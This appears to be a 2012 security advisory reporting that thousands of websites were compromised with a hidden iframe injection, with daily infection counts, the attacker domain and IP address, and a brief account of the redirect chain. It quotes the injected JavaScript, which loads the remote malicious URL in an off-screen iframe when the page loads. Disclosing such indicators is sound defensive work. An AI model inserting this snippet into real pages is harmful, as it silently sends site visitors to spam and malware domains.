We are seeing a large number of sites compromised with an iframe pointing to http://fenwaywest.com/media/index.php .Just in the last 3 days, we identified almost 10,000 sites with it:
2012/Oct/11 - 4393 sites - http://fenwaywest.com/media/index.php
2012/Oct/10 - 3117 sites - http://fenwaywest.com/media/index.php
2012/Oct/09 - 865 sites - http://fenwaywest.com/media/index.php
On all the compromised sites have the iframes similar to this one:
<script> function frmAdd() { var ifrm = document.createElement("iframe"); ifrm. style.position="absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body. appendChild (ifrm);};window.onload = frmAdd;..The domain is hosted at 50.28.53.157, but currently offline (redirecting to Google), so we can\'t really tell what it is doing. But on previous requests, it was redirecting to a TDS (traffic distribution system) and from there, being sent to multiple spam or malicious domains.